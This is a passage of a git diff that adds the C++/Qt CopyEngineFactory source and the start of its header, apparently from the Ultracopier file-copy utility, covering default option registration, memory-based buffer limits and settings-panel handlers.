+ realObject->set_osBufferLimit(ui->osBufferLimit->value());
+ realObject->set_setFilters(includeStrings,includeOptions,excludeStrings,excludeOptions);
+ realObject->setRenamingRules(firstRenamingRule,otherRenamingRule);
+ realObject->setSequentialBuffer(ui->sequentialBuffer->value());
+ realObject->setParallelBuffer(ui->parallelBuffer->value());
+ realObject->setParallelizeIfSmallerThan(ui->parallelizeIfSmallerThan->value());
+ realObject->setMoveTheWholeFolder(ui->moveTheWholeFolder->isChecked());
+ realObject->setFollowTheStrictOrder(ui->followTheStrictOrder->isChecked());
+ realObject->setDeletePartiallyTransferredFiles(ui->deletePartiallyTransferredFiles->isChecked());
+ realObject->setInodeThreads(ui->inodeThreads->value());
+ realObject->setRenameTheOriginalDestination(ui->renameTheOriginalDestination->isChecked());
+ realObject->setCheckDiskSpace(ui->checkDiskSpace->isChecked());
+ realObject->setDefaultDestinationFolder(ui->defaultDestinationFolder->text());
+ realObject->setCopyListOrder(ui->copyListOrder->isChecked());
+ return newTransferEngine;
+}
+
+void CopyEngineFactory::setResources(OptionInterface * options,const QString &writePath,const QString &pluginPath,FacilityInterface * facilityInterface,const bool &portableVersion)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start, writePath: ")+writePath+QStringLiteral(", pluginPath:")+pluginPath);
+ this->facilityEngine=facilityInterface;
+ Q_UNUSED(portableVersion);
+ #ifndef ULTRACOPIER_PLUGIN_DEBUG
+ Q_UNUSED(writePath);
+ Q_UNUSED(pluginPath);
+ #endif
+ #if ! defined (Q_CC_GNU)
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,QStringLiteral("Unable to change date time of files, only gcc is supported"));
+ #endif
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,COMPILERINFO);
+ #if defined (ULTRACOPIER_PLUGIN_CHECKLISTTYPE)
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,QStringLiteral("CHECK LIST TYPE set"));
+ #else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,QStringLiteral("CHECK LIST TYPE not set"));
+ #endif
+ if(options!=NULL)
+ {
+ //load the options
+ QList<QPair<QString, QVariant> > KeysList;
+ KeysList.append(qMakePair(QStringLiteral("doRightTransfer"),QVariant(true)));
+ #ifndef Q_OS_LINUX
+ KeysList.append(qMakePair(QStringLiteral("keepDate"),QVariant(false)));
+ #else
+ KeysList.append(qMakePair(QStringLiteral("keepDate"),QVariant(true)));
+ #endif
+ KeysList.append(qMakePair(QStringLiteral("blockSize"),QVariant(ULTRACOPIER_PLUGIN_DEFAULT_BLOCK_SIZE)));
+ quint32 sequentialBuffer=ULTRACOPIER_PLUGIN_DEFAULT_BLOCK_SIZE*ULTRACOPIER_PLUGIN_DEFAULT_SEQUENTIAL_NUMBER_OF_BLOCK;
+ quint32 parallelBuffer=ULTRACOPIER_PLUGIN_DEFAULT_BLOCK_SIZE*ULTRACOPIER_PLUGIN_DEFAULT_PARALLEL_NUMBER_OF_BLOCK;
+ //to prevent swap and other bad effect, only under windows and unix for now
+ #if defined(Q_OS_WIN32) or (defined(Q_OS_LINUX) and defined(_SC_PHYS_PAGES))
+ size_t max_memory=getTotalSystemMemory()/1024;
+ if(max_memory>0)
+ {
+ if(sequentialBuffer>(max_memory/10))
+ sequentialBuffer=max_memory/10;
+ if(parallelBuffer>(max_memory/100))
+ parallelBuffer=max_memory/100;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,QStringLiteral("detected memory: %1MB").arg(max_memory/1024));
+ #endif
+ KeysList.append(qMakePair(QStringLiteral("sequentialBuffer"),QVariant(sequentialBuffer)));
+ KeysList.append(qMakePair(QStringLiteral("parallelBuffer"),QVariant(parallelBuffer)));
+ KeysList.append(qMakePair(QStringLiteral("parallelizeIfSmallerThan"),QVariant(128)));//128KB, better for modern hardware: Multiple queue en linux, SSD, ...
+ KeysList.append(qMakePair(QStringLiteral("autoStart"),QVariant(true)));
+ #ifdef ULTRACOPIER_PLUGIN_RSYNC
+ KeysList.append(qMakePair(QStringLiteral("rsync"),QVariant(true)));
+ #endif
+ KeysList.append(qMakePair(QStringLiteral("folderError"),QVariant(0)));
+ KeysList.append(qMakePair(QStringLiteral("folderCollision"),QVariant(0)));
+ KeysList.append(qMakePair(QStringLiteral("fileError"),QVariant(2)));
+ KeysList.append(qMakePair(QStringLiteral("fileCollision"),QVariant(0)));
+ KeysList.append(qMakePair(QStringLiteral("transferAlgorithm"),QVariant(0)));
+ KeysList.append(qMakePair(QStringLiteral("checkDestinationFolder"),QVariant(true)));
+ KeysList.append(qMakePair(QStringLiteral("includeStrings"),QVariant(QStringList())));
+ KeysList.append(qMakePair(QStringLiteral("includeOptions"),QVariant(QStringList())));
+ KeysList.append(qMakePair(QStringLiteral("excludeStrings"),QVariant(QStringList())));
+ KeysList.append(qMakePair(QStringLiteral("excludeOptions"),QVariant(QStringList())));
+ KeysList.append(qMakePair(QStringLiteral("doChecksum"),QVariant(false)));
+ KeysList.append(qMakePair(QStringLiteral("checksumIgnoreIfImpossible"),QVariant(true)));
+ KeysList.append(qMakePair(QStringLiteral("checksumOnlyOnError"),QVariant(true)));
+ KeysList.append(qMakePair(QStringLiteral("osBuffer"),QVariant(false)));
+ KeysList.append(qMakePair(QStringLiteral("firstRenamingRule"),QVariant("")));
+ KeysList.append(qMakePair(QStringLiteral("otherRenamingRule"),QVariant("")));
+ KeysList.append(qMakePair(QStringLiteral("osBufferLimited"),QVariant(false)));
+ KeysList.append(qMakePair(QStringLiteral("osBufferLimit"),QVariant(512)));
+ KeysList.append(qMakePair(QStringLiteral("deletePartiallyTransferredFiles"),QVariant(true)));
+ KeysList.append(qMakePair(QStringLiteral("moveTheWholeFolder"),QVariant(true)));
+ KeysList.append(qMakePair(QStringLiteral("followTheStrictOrder"),QVariant(false)));
+ KeysList.append(qMakePair(QStringLiteral("renameTheOriginalDestination"),QVariant(false)));
+ KeysList.append(qMakePair(QStringLiteral("checkDiskSpace"),QVariant(true)));
+ KeysList.append(qMakePair(QStringLiteral("defaultDestinationFolder"),QVariant(QString())));
+ KeysList.append(qMakePair(QStringLiteral("inodeThreads"),QVariant(1)));
+ KeysList.append(qMakePair(QStringLiteral("copyListOrder"),QVariant(false)));
+ options->addOptionGroup(KeysList);
+ #if ! defined (Q_CC_GNU)
+ ui->keepDate->setEnabled(false);
+ ui->keepDate->setToolTip(QStringLiteral("Not supported with this compiler"));
+ #endif
+ ui->doRightTransfer->setChecked(options->getOptionValue(QStringLiteral("doRightTransfer")).toBool());
+ ui->keepDate->setChecked(options->getOptionValue(QStringLiteral("keepDate")).toBool());
+ ui->blockSize->setValue(options->getOptionValue(QStringLiteral("blockSize")).toUInt());//keep before sequentialBuffer and parallelBuffer
+ ui->autoStart->setChecked(options->getOptionValue(QStringLiteral("autoStart")).toBool());
+ #ifdef ULTRACOPIER_PLUGIN_RSYNC
+ ui->rsync->setChecked(options->getOptionValue(QStringLiteral("rsync")).toBool());
+ #else
+ ui->label_rsync->setVisible(false);
+ ui->rsync->setVisible(false);
+ #endif
+ ui->comboBoxFolderError->setCurrentIndex(options->getOptionValue(QStringLiteral("folderError")).toUInt());
+ ui->comboBoxFolderCollision->setCurrentIndex(options->getOptionValue(QStringLiteral("folderCollision")).toUInt());
+ ui->comboBoxFileError->setCurrentIndex(options->getOptionValue(QStringLiteral("fileError")).toUInt());
+ ui->comboBoxFileCollision->setCurrentIndex(options->getOptionValue(QStringLiteral("fileCollision")).toUInt());
+ ui->transferAlgorithm->setCurrentIndex(options->getOptionValue(QStringLiteral("transferAlgorithm")).toUInt());
+ ui->checkBoxDestinationFolderExists->setChecked(options->getOptionValue(QStringLiteral("checkDestinationFolder")).toBool());
+ ui->parallelizeIfSmallerThan->setValue(options->getOptionValue(QStringLiteral("parallelizeIfSmallerThan")).toUInt());
+ ui->sequentialBuffer->setValue(options->getOptionValue(QStringLiteral("sequentialBuffer")).toUInt());
+ ui->parallelBuffer->setValue(options->getOptionValue(QStringLiteral("parallelBuffer")).toUInt());
+ ui->sequentialBuffer->setSingleStep(ui->blockSize->value());
+ ui->parallelBuffer->setSingleStep(ui->blockSize->value());
+ ui->deletePartiallyTransferredFiles->setChecked(options->getOptionValue(QStringLiteral("deletePartiallyTransferredFiles")).toBool());
+ ui->moveTheWholeFolder->setChecked(options->getOptionValue(QStringLiteral("moveTheWholeFolder")).toBool());
+ ui->followTheStrictOrder->setChecked(options->getOptionValue(QStringLiteral("followTheStrictOrder")).toBool());
+ ui->inodeThreads->setValue(options->getOptionValue(QStringLiteral("inodeThreads")).toUInt());
+ ui->renameTheOriginalDestination->setChecked(options->getOptionValue(QStringLiteral("renameTheOriginalDestination")).toBool());
+ ui->checkDiskSpace->setChecked(options->getOptionValue(QStringLiteral("checkDiskSpace")).toBool());
+ ui->defaultDestinationFolder->setText(options->getOptionValue(QStringLiteral("defaultDestinationFolder")).toString());
+
+ ui->doChecksum->setChecked(options->getOptionValue(QStringLiteral("doChecksum")).toBool());
+ ui->checksumIgnoreIfImpossible->setChecked(options->getOptionValue(QStringLiteral("checksumIgnoreIfImpossible")).toBool());
+ ui->checksumOnlyOnError->setChecked(options->getOptionValue(QStringLiteral("checksumOnlyOnError")).toBool());
+
+ ui->osBuffer->setChecked(options->getOptionValue(QStringLiteral("osBuffer")).toBool());
+ ui->osBufferLimited->setChecked(options->getOptionValue(QStringLiteral("osBufferLimited")).toBool());
+ ui->osBufferLimit->setValue(options->getOptionValue(QStringLiteral("osBufferLimit")).toUInt());
+ //ui->autoStart->setChecked(options->getOptionValue(QStringLiteral("autoStart")).toBool());//moved from options(), wrong previous place
+ includeStrings=options->getOptionValue(QStringLiteral("includeStrings")).toStringList();
+ includeOptions=options->getOptionValue(QStringLiteral("includeOptions")).toStringList();
+ excludeStrings=options->getOptionValue(QStringLiteral("excludeStrings")).toStringList();
+ excludeOptions=options->getOptionValue(QStringLiteral("excludeOptions")).toStringList();
+ filters->setFilters(includeStrings,includeOptions,excludeStrings,excludeOptions);
+ firstRenamingRule=options->getOptionValue(QStringLiteral("firstRenamingRule")).toString();
+ otherRenamingRule=options->getOptionValue(QStringLiteral("otherRenamingRule")).toString();
+ renamingRules->setRenamingRules(firstRenamingRule,otherRenamingRule);
+
+ ui->checksumOnlyOnError->setEnabled(ui->doChecksum->isChecked());
+ ui->checksumIgnoreIfImpossible->setEnabled(ui->doChecksum->isChecked());
+ ui->copyListOrder->setChecked(options->getOptionValue(QStringLiteral("copyListOrder")).toBool());
+
+ updateBufferCheckbox();
+ optionsEngine=options;
+
+ updatedBlockSize();
+ }
+}
+
+QStringList CopyEngineFactory::supportedProtocolsForTheSource() const
+{
+ return QStringList() << QStringLiteral("file");
+}
+
+QStringList CopyEngineFactory::supportedProtocolsForTheDestination() const
+{
+ return QStringList() << QStringLiteral("file");
+}
+
+Ultracopier::CopyType CopyEngineFactory::getCopyType()
+{
+ return Ultracopier::FileAndFolder;
+}
+
+Ultracopier::TransferListOperation CopyEngineFactory::getTransferListOperation()
+{
+ return Ultracopier::TransferListOperation_ImportExport;
+}
+
+bool CopyEngineFactory::canDoOnlyCopy() const
+{
+ return false;
+}
+
+void CopyEngineFactory::resetOptions()
+{
+}
+
+QWidget * CopyEngineFactory::options()
+{
+ return tempWidget;
+}
+
+void CopyEngineFactory::setDoRightTransfer(bool doRightTransfer)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"the value have changed");
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("doRightTransfer"),doRightTransfer);
+}
+
+void CopyEngineFactory::setKeepDate(bool keepDate)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"the value have changed");
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("keepDate"),keepDate);
+}
+
+void CopyEngineFactory::setBlockSize(int blockSize)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"the value have changed");
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("blockSize"),blockSize);
+ updatedBlockSize();
+}
+
+void CopyEngineFactory::setParallelBuffer(int parallelBuffer)
+{
+ if(optionsEngine!=NULL)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"the value have changed");
+ parallelBuffer=round((float)parallelBuffer/(float)ui->blockSize->value())*ui->blockSize->value();
+ ui->parallelBuffer->setValue(parallelBuffer);
+ optionsEngine->setOptionValue(QStringLiteral("parallelBuffer"),parallelBuffer);
+ }
+}
+
+void CopyEngineFactory::setSequentialBuffer(int sequentialBuffer)
+{
+ if(optionsEngine!=NULL)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("the value have changed"));
+ sequentialBuffer=round((float)sequentialBuffer/(float)ui->blockSize->value())*ui->blockSize->value();
+ ui->sequentialBuffer->setValue(sequentialBuffer);
+ optionsEngine->setOptionValue(QStringLiteral("sequentialBuffer"),sequentialBuffer);
+ }
+}
+
+void CopyEngineFactory::setParallelizeIfSmallerThan(int parallelizeIfSmallerThan)
+{
+ if(optionsEngine!=NULL)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"the value have changed");
+ optionsEngine->setOptionValue(QStringLiteral("parallelizeIfSmallerThan"),parallelizeIfSmallerThan);
+ }
+}
+
+void CopyEngineFactory::setAutoStart(bool autoStart)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"the value have changed");
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("autoStart"),autoStart);
+}
+
+void CopyEngineFactory::setFolderCollision(int index)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"the value have changed");
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("folderCollision"),index);
+}
+
+void CopyEngineFactory::setFolderError(int index)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"the value have changed");
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("folderError"),index);
+}
+
+void CopyEngineFactory::setTransferAlgorithm(int index)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"the value have changed");
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("transferAlgorithm"),index);
+}
+
+void CopyEngineFactory::setCheckDestinationFolder()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"the value have changed");
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("checkDestinationFolder"),ui->checkBoxDestinationFolderExists->isChecked());
+}
+
+void CopyEngineFactory::newLanguageLoaded()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start, retranslate the widget options");
+ OptionInterface * optionsEngine=this->optionsEngine;
+ this->optionsEngine=NULL;
+ ui->retranslateUi(tempWidget);
+ ui->comboBoxFolderError->setItemText(0,tr("Ask"));
+ ui->comboBoxFolderError->setItemText(1,tr("Skip"));
+
+ ui->comboBoxFolderCollision->setItemText(0,tr("Ask"));
+ ui->comboBoxFolderCollision->setItemText(1,tr("Merge"));
+ ui->comboBoxFolderCollision->setItemText(2,tr("Skip"));
+ ui->comboBoxFolderCollision->setItemText(3,tr("Rename"));
+
+ ui->comboBoxFileError->setItemText(0,tr("Ask"));
+ ui->comboBoxFileError->setItemText(1,tr("Skip"));
+ ui->comboBoxFileError->setItemText(2,tr("Put at the end"));
+
+ ui->comboBoxFileCollision->setItemText(0,tr("Ask"));
+ ui->comboBoxFileCollision->setItemText(1,tr("Skip"));
+ ui->comboBoxFileCollision->setItemText(2,tr("Overwrite"));
+ ui->comboBoxFileCollision->setItemText(3,tr("Overwrite if different"));
+ ui->comboBoxFileCollision->setItemText(4,tr("Overwrite if newer"));
+ ui->comboBoxFileCollision->setItemText(5,tr("Overwrite if older"));
+ ui->comboBoxFileCollision->setItemText(6,tr("Rename"));
+
+ ui->transferAlgorithm->setItemText(0,tr("Automatic"));
+ ui->transferAlgorithm->setItemText(1,tr("Sequential"));
+ ui->transferAlgorithm->setItemText(2,tr("Parallel"));
+ if(optionsEngine!=NULL)
+ {
+ filters->newLanguageLoaded();
+ renamingRules->newLanguageLoaded();
+ }
+ emit reloadLanguage();
+ this->optionsEngine=optionsEngine;
+}
+
+void CopyEngineFactory::doChecksum_toggled(bool doChecksum)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"the value have changed");
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("doChecksum"),doChecksum);
+}
+
+void CopyEngineFactory::checksumOnlyOnError_toggled(bool checksumOnlyOnError)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"the value have changed");
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("checksumOnlyOnError"),checksumOnlyOnError);
+}
+
+void CopyEngineFactory::osBuffer_toggled(bool osBuffer)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"the value have changed");
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("osBuffer"),osBuffer);
+ ui->osBufferLimit->setEnabled(ui->osBuffer->isChecked() && ui->osBufferLimited->isChecked());
+}
+
+void CopyEngineFactory::osBufferLimited_toggled(bool osBufferLimited)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"the value have changed");
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("osBufferLimited"),osBufferLimited);
+ ui->osBufferLimit->setEnabled(ui->osBuffer->isChecked() && ui->osBufferLimited->isChecked());
+}
+
+void CopyEngineFactory::osBufferLimit_editingFinished()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"the spinbox have changed");
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("osBufferLimit"),ui->osBufferLimit->value());
+}
+
+void CopyEngineFactory::showFilterDialog()
+{
+ if(optionsEngine==NULL)
+ {
+ QMessageBox::critical(NULL,tr("Options error"),tr("Options engine is not loaded. Unable to access the filters"));
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"options not loaded");
+ return;
+ }
+ filters->exec();
+}
+
+void CopyEngineFactory::sendNewFilters(const QStringList &includeStrings,const QStringList &includeOptions,const QStringList &excludeStrings,const QStringList &excludeOptions)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("new filter"));
+ this->includeStrings=includeStrings;
+ this->includeOptions=includeOptions;
+ this->excludeStrings=excludeStrings;
+ this->excludeOptions=excludeOptions;
+ if(optionsEngine!=NULL)
+ {
+ optionsEngine->setOptionValue(QStringLiteral("includeStrings"),includeStrings);
+ optionsEngine->setOptionValue(QStringLiteral("includeOptions"),includeOptions);
+ optionsEngine->setOptionValue(QStringLiteral("excludeStrings"),excludeStrings);
+ optionsEngine->setOptionValue(QStringLiteral("excludeOptions"),excludeOptions);
+ }
+}
+
+void CopyEngineFactory::sendNewRenamingRules(const QString &firstRenamingRule,const QString &otherRenamingRule)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"new filter");
+ this->firstRenamingRule=firstRenamingRule;
+ this->otherRenamingRule=otherRenamingRule;
+ if(optionsEngine!=NULL)
+ {
+ optionsEngine->setOptionValue(QStringLiteral("firstRenamingRule"),firstRenamingRule);
+ optionsEngine->setOptionValue(QStringLiteral("otherRenamingRule"),otherRenamingRule);
+ }
+}
+
+void CopyEngineFactory::showRenamingRules()
+{
+ if(optionsEngine==NULL)
+ {
+ QMessageBox::critical(NULL,tr("Options error"),tr("Options engine is not loaded, can't access to the filters"));
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"options not loaded");
+ return;
+ }
+ renamingRules->exec();
+}
+
+void CopyEngineFactory::updateBufferCheckbox()
+{
+ ui->osBufferLimited->setEnabled(ui->osBuffer->isChecked());
+ ui->osBufferLimit->setEnabled(ui->osBuffer->isChecked() && ui->osBufferLimited->isChecked());
+}
+
+void CopyEngineFactory::checksumIgnoreIfImpossible_toggled(bool checksumIgnoreIfImpossible)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"the value have changed");
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("checksumIgnoreIfImpossible"),checksumIgnoreIfImpossible);
+}
+
+void CopyEngineFactory::setFileCollision(int index)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("action index: %1").arg(index));
+ if(optionsEngine==NULL)
+ return;
+ switch(index)
+ {
+ case 0:
+ case 1:
+ case 2:
+ case 3:
+ case 4:
+ case 5:
+ case 6:
+ optionsEngine->setOptionValue(QStringLiteral("fileCollision"),index);
+ break;
+ default:
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Error, unknow index, ignored");
+ break;
+ }
+}
+
+void CopyEngineFactory::setFileError(int index)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("action index: %1").arg(index));
+ if(optionsEngine==NULL)
+ return;
+ switch(index)
+ {
+ case 0:
+ case 1:
+ case 2:
+ optionsEngine->setOptionValue(QStringLiteral("fileError"),index);
+ break;
+ default:
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Error, unknow index, ignored");
+ break;
+ }
+}
+
+void CopyEngineFactory::updatedBlockSize()
+{
+ ui->sequentialBuffer->setMinimum(ui->blockSize->value());
+ ui->sequentialBuffer->setSingleStep(ui->blockSize->value());
+ ui->sequentialBuffer->setMaximum(ui->blockSize->value()*ULTRACOPIER_PLUGIN_MAX_SEQUENTIAL_NUMBER_OF_BLOCK);
+ ui->parallelBuffer->setMinimum(ui->blockSize->value());
+ ui->parallelBuffer->setSingleStep(ui->blockSize->value());
+ ui->parallelBuffer->setMaximum(ui->blockSize->value()*ULTRACOPIER_PLUGIN_MAX_PARALLEL_NUMBER_OF_BLOCK);
+ setParallelBuffer(ui->parallelBuffer->value());
+ setSequentialBuffer(ui->sequentialBuffer->value());
+}
+
+void CopyEngineFactory::deletePartiallyTransferredFiles(bool checked)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"the value have changed");
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("deletePartiallyTransferredFiles"),checked);
+}
+
+void CopyEngineFactory::renameTheOriginalDestination(bool checked)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"the value have changed");
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("renameTheOriginalDestination"),checked);
+}
+
+void CopyEngineFactory::checkDiskSpace(bool checked)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"the value have changed");
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("checkDiskSpace"),checked);
+}
+
+void CopyEngineFactory::defaultDestinationFolderBrowse()
+{
+ QString destination = QFileDialog::getExistingDirectory(ui->defaultDestinationFolder,facilityEngine->translateText(QStringLiteral("Select destination directory")),QStringLiteral(""),QFileDialog::ShowDirsOnly | QFileDialog::DontResolveSymlinks);
+ if(destination.isEmpty())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,"Canceled by the user");
+ return;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"the value have changed");
+ ui->defaultDestinationFolder->setText(destination);
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("defaultDestinationFolder"),destination);
+}
+
+void CopyEngineFactory::defaultDestinationFolder()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"the value have changed");
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("defaultDestinationFolder"),ui->defaultDestinationFolder->text());
+}
+
+void CopyEngineFactory::followTheStrictOrder(bool checked)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"the value have changed");
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("followTheStrictOrder"),checked);
+}
+
+void CopyEngineFactory::moveTheWholeFolder(bool checked)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"the value have changed");
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("moveTheWholeFolder"),checked);
+}
+
+void CopyEngineFactory::on_inodeThreads_editingFinished()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"the spinbox have changed");
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("inodeThreads"),ui->inodeThreads->value());
+}
+
+#ifdef Q_OS_WIN32
+size_t CopyEngineFactory::getTotalSystemMemory()
+{
+ MEMORYSTATUSEX status;
+ status.dwLength = sizeof(status);
+ GlobalMemoryStatusEx(&status);
+ return status.ullTotalPhys;
+}
+#endif
+
+#ifdef Q_OS_LINUX
+size_t CopyEngineFactory::getTotalSystemMemory()
+{
+ long pages = sysconf(_SC_PHYS_PAGES);
+ long page_size = sysconf(_SC_PAGE_SIZE);
+ return pages * page_size;
+}
+#endif
+
+#ifdef ULTRACOPIER_PLUGIN_RSYNC
+void CopyEngineFactory::setRsync(bool rsync)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"the value have changed");
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue("rsync",rsync);
+}
+#endif
+
+void CopyEngineFactory::copyListOrder(bool checked)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"the value have changed");
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("copyListOrder"),checked);
+}
diff --git a/plugins/CopyEngine/Ultracopier/CopyEngineFactory.h b/plugins/CopyEngine/Ultracopier/CopyEngineFactory.h
new file mode 100644
index 0000000..548588f
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/CopyEngineFactory.h
@@ -0,0 +1,132 @@
+/** \file factory.h
+\brief Define the factory to create new instance
+\author alpha_one_x86
+\licence GPL3, see the file COPYING */
+
+#include "StructEnumDefinition_CopyEngine.h"
+
+#include <QObject>
+#include <QList>
+#include <QStringList>
+#include <QFileInfo>
+#include <QProcess>
+#include <QTimer>
+
+#include "../../../interface/PluginInterface_CopyEngine.h"
+#include "qstorageinfo.h"
+#include "StructEnumDefinition.h"
+#include "ui_copyEngineOptions.h"
+#include "CopyEngine.h"
+#include "Environment.h"
+#include "Filters.h"
+#include "RenamingRules.h"
+
+#ifdef Q_OS_WIN32
+ #ifndef NOMINMAX
+ #define NOMINMAX
+ #endif
+ #include <windows.h>
+#endif
+#ifdef Q_OS_LINUX
+ #include <unistd.h>
+#endif
+
+#ifndef FACTORY_H
+#define FACTORY_H
+
+namespace Ui {
+ class copyEngineOptions;
+}
+
+/** \brief to generate copy engine instance */
+class CopyEngineFactory : public PluginInterface_CopyEngineFactory
+{
+ Q_OBJECT
+ #ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE_DIRECT
+ Q_PLUGIN_METADATA(IID "first-world.info.ultracopier.PluginInterface.CopyEngineFactory/1.0.0.0" FILE "plugin.json")
+ Q_INTERFACES(PluginInterface_CopyEngineFactory)
+ #endif
+public:
+ CopyEngineFactory();
+ ~CopyEngineFactory();
+ /// \brief to return the instance of the copy engine
+ PluginInterface_CopyEngine * getInstance();
+ /// \brief set the resources, to store options, to have facilityInterface
+ void setResources(OptionInterface * options,const QString &writePath,const QString &pluginPath,FacilityInterface * facilityInterface,const bool &portableVersion);
+ //get mode allowed
+ /// \brief define if can copy file, folder or both
+ Ultracopier::CopyType getCopyType();
+ /// \brief to return which kind of transfer list operation is supported
+ Ultracopier::TransferListOperation getTransferListOperation();
+ /// \brief define if can only copy, or copy and move
+ bool canDoOnlyCopy() const;
+ /// \brief to get the supported protocols for the source
+ QStringList supportedProtocolsForTheSource() const;
+ /// \brief to get the supported protocols for the destination
+ QStringList supportedProtocolsForTheDestination() const;
+ /// \brief to get the options of the copy engine
+ QWidget * options();
+
+private:
+ Ui::copyEngineOptions *ui;
+ QWidget* tempWidget;
+ OptionInterface * optionsEngine;
+ bool errorFound;
+ FacilityInterface * facilityEngine;
+ Filters *filters;
+ RenamingRules *renamingRules;
+ QStorageInfo storageInfo;
+ QTimer lunchInitFunction;
+ QStringList includeStrings,includeOptions,excludeStrings,excludeOptions;
+ QString firstRenamingRule,otherRenamingRule;
+
+#if defined(Q_OS_WIN32) || (defined(Q_OS_LINUX) && defined(_SC_PHYS_PAGES))
+ static size_t getTotalSystemMemory();
+#endif
+private slots:
+ void init();
+ void setDoRightTransfer(bool doRightTransfer);
+ void setKeepDate(bool keepDate);
+ void setBlockSize(int blockSize);
+ void setParallelBuffer(int parallelBuffer);
+ void setSequentialBuffer(int sequentialBuffer);
+ void setParallelizeIfSmallerThan(int parallelizeIfSmallerThan);
